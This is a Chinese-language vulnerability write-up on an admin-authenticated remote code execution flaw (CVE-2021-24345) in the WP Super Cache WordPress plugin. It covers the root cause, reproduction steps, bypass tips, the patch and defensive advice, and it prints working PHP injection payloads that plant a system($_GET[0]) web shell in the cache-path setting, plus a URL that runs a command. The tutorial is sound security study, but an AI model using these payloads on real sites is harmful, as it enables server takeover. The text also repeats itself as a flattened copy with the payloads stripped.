一波五折的wordpress插件wp super cache RCE漏洞分析之旅
字数 1488 2025-08-05 08:19:35

WordPress插件WP Super Cache RCE漏洞分析教学文档

0x00 漏洞概述

WP Super Cache是WordPress的一个流行缓存插件,2021年3月曝出其1.7.1版本存在远程代码执行漏洞(CVE-2021-24345)。该漏洞属于"写入配置文件getshell"类型,需要攻击者具备WordPress后台管理员权限。

0x01 漏洞分析

关键函数说明

  • trailingslashit(): 调用untrailingslashit()并在末尾添加/
  • untrailingslashit(): 移除字符串右侧的\和/两个字符
  • dirname(): 返回路径中的目录名称部分
  • realpath(): 返回绝对路径,删除所有符号连接
  • basename(): 返回路径中的文件名部分
  • rtrim(): 移除字符串右侧的空白字符或其他预定义字符

漏洞原理

漏洞位于插件设置中的缓存路径修改功能,用户可控的$cache_path变量被直接写入wp-cache-config.php配置文件,导致代码注入。

0x02 漏洞复现

环境准备

  • WordPress 5.8
  • WP Super Cache 1.4.8
  • PHPStudy环境
  • PHP 7.0.12
  • MySQL 5.5.53

漏洞利用步骤

  1. 以管理员身份登录WordPress后台
  2. 进入WP Super Cache设置页面(选项 > WP Super Cache)
  3. 在"缓存位置"输入框中输入恶意payload
  4. 提交保存设置

有效Payload

  1. 基础payload:
';system($_GET[0]);#
  1. 替代payload:
/cache/';system($_GET[0]);?><!--
  1. 完整路径payload示例:
D:\wordpress_path/cache/';system($_GET[0]);#

执行命令

保存后,访问以下URL执行命令:

http://example.com/wp-admin/options-general.php?page=wpsupercache&tab=settings&0=whoami

0x03 技术细节分析

关键代码流程

  1. 用户输入通过$_POST['wp_cache_location']接收
  2. 经过dirname()处理后,部分特殊字符会被移除
  3. realpath()处理可能导致路径返回false
  4. 最终$cache_path被写入配置文件

绕过技巧

  1. 必须保留/cache/路径部分,或改为已存在的缓存文件夹
  2. 避免在中括号内使用单引号,如$_GET['x']会导致失败
  3. 使用#而非//进行注释,因为basename()会移除//

调试发现

  • 当payload中包含\';system($_GET[\'x\']);#时,dirname()会异常处理
  • realpath()可能返回false导致使用默认路径
  • 这些处理导致无法进入写入配置文件的代码分支

0x04 漏洞修复

WP Super Cache 1.7.4版本增加了正则表达式过滤,移除特殊字符:

preg_replace('/[ <>\'\"\r\n\t
$$
]/', '', $string)

修复后难以绕过,因为:

  1. 配置文件格式严格,错误的格式会导致报错
  2. 特殊字符被过滤,难以构造有效payload

0x05 防御建议

  1. 及时更新WP Super Cache到最新版本
  2. 对配置文件写入操作进行严格过滤
  3. 限制WordPress后台访问权限
  4. 监控wp-cache-config.php文件的修改

0x06 经验总结

  1. 漏洞分析时不要轻信网上的payload,需自行验证
  2. 排查问题要系统化:权限→版本→输入处理→特殊字符
  3. 动态调试是解决复杂问题的有效手段
  4. payload应尽量精简,减少特殊字符使用
  5. 遇到困难时可暂时休息,换个思路可能找到解决方案

0x07 参考资料

  1. Exploit-DB: WP Super Cache 1.7.1 RCE
  2. WordPress官方插件目录
  3. WP Super Cache更新日志
WordPress插件WP Super Cache RCE漏洞分析教学文档 0x00 漏洞概述 WP Super Cache是WordPress的一个流行缓存插件,2021年3月曝出其1.7.1版本存在远程代码执行漏洞(CVE-2021-24345)。该漏洞属于"写入配置文件getshell"类型,需要攻击者具备WordPress后台管理员权限。 0x01 漏洞分析 关键函数说明 trailingslashit() : 调用 untrailingslashit() 并在末尾添加/ untrailingslashit() : 移除字符串右侧的\和/两个字符 dirname() : 返回路径中的目录名称部分 realpath() : 返回绝对路径,删除所有符号连接 basename() : 返回路径中的文件名部分 rtrim() : 移除字符串右侧的空白字符或其他预定义字符 漏洞原理 漏洞位于插件设置中的缓存路径修改功能,用户可控的 $cache_path 变量被直接写入 wp-cache-config.php 配置文件,导致代码注入。 0x02 漏洞复现 环境准备 WordPress 5.8 WP Super Cache 1.4.8 PHPStudy环境 PHP 7.0.12 MySQL 5.5.53 漏洞利用步骤 以管理员身份登录WordPress后台 进入WP Super Cache设置页面(选项 > WP Super Cache) 在"缓存位置"输入框中输入恶意payload 提交保存设置 有效Payload 基础payload: 替代payload: 完整路径payload示例: 执行命令 保存后,访问以下URL执行命令: 0x03 技术细节分析 关键代码流程 用户输入通过 $_POST['wp_cache_location'] 接收 经过 dirname() 处理后,部分特殊字符会被移除 realpath() 处理可能导致路径返回false 最终 $cache_path 被写入配置文件 绕过技巧 必须保留 /cache/ 路径部分,或改为已存在的缓存文件夹 避免在中括号内使用单引号,如 $_GET['x'] 会导致失败 使用 # 而非 // 进行注释,因为 basename() 会移除 // 调试发现 当payload中包含 \';system($_GET[\'x\']);# 时, dirname() 会异常处理 realpath() 可能返回false导致使用默认路径 这些处理导致无法进入写入配置文件的代码分支 0x04 漏洞修复 WP Super Cache 1.7.4版本增加了正则表达式过滤,移除特殊字符: 修复后难以绕过,因为: 配置文件格式严格,错误的格式会导致报错 特殊字符被过滤,难以构造有效payload 0x05 防御建议 及时更新WP Super Cache到最新版本 对配置文件写入操作进行严格过滤 限制WordPress后台访问权限 监控 wp-cache-config.php 文件的修改 0x06 经验总结 漏洞分析时不要轻信网上的payload,需自行验证 排查问题要系统化:权限→版本→输入处理→特殊字符 动态调试是解决复杂问题的有效手段 payload应尽量精简,减少特殊字符使用 遇到困难时可暂时休息,换个思路可能找到解决方案 0x07 参考资料 Exploit-DB: WP Super Cache 1.7.1 RCE WordPress官方插件目录 WP Super Cache更新日志